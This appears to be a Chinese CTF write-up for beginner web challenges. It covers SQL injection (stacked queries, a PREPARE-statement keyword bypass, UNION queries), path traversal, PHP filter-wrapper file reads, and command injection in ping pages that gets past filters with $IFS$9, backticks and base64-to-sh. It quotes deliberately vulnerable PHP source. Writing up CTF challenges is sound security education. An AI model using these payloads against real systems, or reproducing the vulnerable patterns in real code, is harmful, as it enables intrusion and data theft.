在家摸鱼太久啥都没干。突然想起自己好像是CTF半退役选手,便来做做题目当作益智游戏了。
万能密码
账号输入 1' or 1=1#
,密码随便输即可,或者反过来,账号随便输,密码输入1' or 1=1#
。
源代码发现 source.php。然后审计,发现传入一个file参数可以用来include file。同时通过hint.php得到flag在 ffffllllaaaagggg 文件中。然后利用目录遍历的技巧得到flag。
http://example.com/?file=source.php%3F/../../../../../../ffffllllaaaagggg
最简单的源码查看和get请求考察。
利用get方式传递cat=dog即可获得flag。
http://example.com/?cat=dog
简单的php伪协议利用,可以看到藏在注释中的flag。
view-source:http://example.com/?file=php://filter/convert.base64-encode/resource=flag.php
然后base64解密即可。
该题目存在堆叠注入。即可以执行多条sql语句。
1'; show tables;#
我们可以得到有两个表,分别是1919810931114514
,words
。猜测flag就在1919810931114514
这个表中。
1'; show columns from `1919810931114514`;#
发现flag列。
如果这道题的考点只有堆叠注入的话,我们就可以利用以下payload直接读出flag。
1'; select flag from `1919810931114514`;#
但是这道题还过滤了一些常用命令,题目提示如下。
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);
所以相当于我们离flag真的只有一墙之隔,正常来说,我们做sql注入题目很多时间都花在了确定flag所在的表,然后是所在的列,现在我们都知道了,但是无法查询。
查看过某位大佬的wp之后,我发现了一种我之前从未使用过的方式PREPARE STATEMENT
,即预处理。
payload如下
1';Set @b=concat("sele","ct ","* from `1919810931114514`");prepare dump from @b;execute dump;#
解释一下,prepare会去预处理一个sql语句,这里被叫做dump。然后语句的具体内容由@b给定。而@b利用了concat来连接select的两部分,绕过了题目的检查,最后excute执行预处理语句,成功得到flag。
参考资料如下。 SQL注入(堆叠注入)——强网杯2019随便注_cc菜的一批-CSDN博客 MySQL PREPARE语句 | 新手教程 (begtut.com)
不得不说Web实在是太难了。
这道题我发现了堆叠注入,找到了Flag表。
可惜Flag关键字被过滤了,我们无法直接 1; select * from Flag
。
于是我试着用上一道题了解到的预处理来绕过Flag。结果发现from也被过滤了,而预处理中需要from关键字作为结构。心态崩溃。
在网上搜索后我发现了这道题的源码。 SUCTF-2019/Web/easy_sql
源码的主要部分。
$sql = "select " . $post['query'] . "||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
mysqli_multi_query
函数使得这道题存在堆叠注入。然后我们通过输入框传入的参数会以$post['query']
的形式插入到sql语句中。
由于sql语句中有||
存在,||
即逻辑或,实际上的结果只有0和1两种,我们无法获得flag。
我们可以通过传入*, 1
从而构造出select *, 1|flag from Flag
这个语句获得flag。
还可以通过设置sql_mode
将管道符作为连接(concat)而非或运算符,从而得到flag。
*, 1
//对应sql语句 select *, 1||flag from Flag
//查询结果 Array ( [0] => flag{da7caaaa-8e1c-4b42-abb8-879328bb7189} [1] => 1 )
1;set sql_mode=PIPES_AS_CONCAT;select 1
//对应sql语句 select 1; 1;set sql_mode=PIPES_AS_CONCAT;select 1||1flag from Flag
//查询结果 Array ( [0] => 1 ) Array ( [0] => 1flag{da7caaaa-8e1c-4b42-abb8-879328bb7189} )
经过这道题的教训,我打算以后的题目直接去看源码了(
简单的命令联合执行,熟悉linux的管道符就能做出来。
在github上找到了ACTF新生赛里本题的源码 ACTF_Junior_2020/index.php
主要代码
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
php中调用了system函数来执行linux命令,我们在ping执行完后可以利用管道符来执行其他的命令。
payload
1; cat flag
阅读源码发现Archive_room.php
。然后发现action.php
,其设置了location http头,会进行快速页面跳转影响我们阅读。利用curl命令查看其内容。
发现secre3t.php
文件。内容如下。
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
得知flag的文件位置flag.php
,测试后推测flag在flag.php的php代码中,没有输出。
利用php伪协议读取base64后的文件并包含。
http://x.node4.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
解码后得到flag。
考察简单的union联合查询注入。
密码框里输入 1' union select 1, 2, 3#
后发现2和3的位置出现了页面回显。那么这两个点都可以进行注入。
首先获得数据库名为geek
1' union select 1, database(), 3#
然后查看geek库下面的数据表们 geekuser 和 l0ve1ysq1
1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'geek'#
查看后者花里胡哨的,先查它里面的字段 id,username,password
1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'geek'#
猜测flag在password字段里
1' union select 1, group_concat(username), group_concat(password) from l0ve1ysq1 #
发现最后一个记录就是flag。
<p>Hello cl4y,glzjin,Z4cHAr7zCr,0xC4m3l,Ayrain,Akko,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,leixiao,flag!</p>
<p>Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{a3fc2519-e16f-4028-b3f6-f8f6294b99b5}'</p>
这道题变着花向我们介绍了一些师傅,密码设置的也非常有趣。
考察命令执行的绕过。
题目源码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ //过滤一堆符号
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){ //过滤空格
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){ //过滤bash
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //过滤从左往右的f l a g
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
简单ls后发现flag.php,但是尝试cat的时候发现空格被过滤,可以用IFS9绕过空格。
然后flag也被过滤。可以使用变量拼接法、内联执行或者编码法。
//1.变量替换
//a=ag;cat fl$a.php
?ip=1;a=ag;cat$IFS$9fl$a.php
//2.内联执行,这种方法之前没用过 将ls的所有文件全部cat出来!
//cat `ls`
?ip=1;cat$IFS$9`ls`
//3.base64解码后执行
//echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
?ip=1;echo$IFS$9Y2F0IGZsYWcucGhwCg==|base64$IFS$9-d|sh
//4.hex解码后执行 这种编码之前没用过
//echo 63617420666c61672e706870 | xxd -r -p | sh
?ip=1;echo$IFS$963617420666c61672e706870$IFS$9|xxd$IFS$9-r$IFS$9-p|sh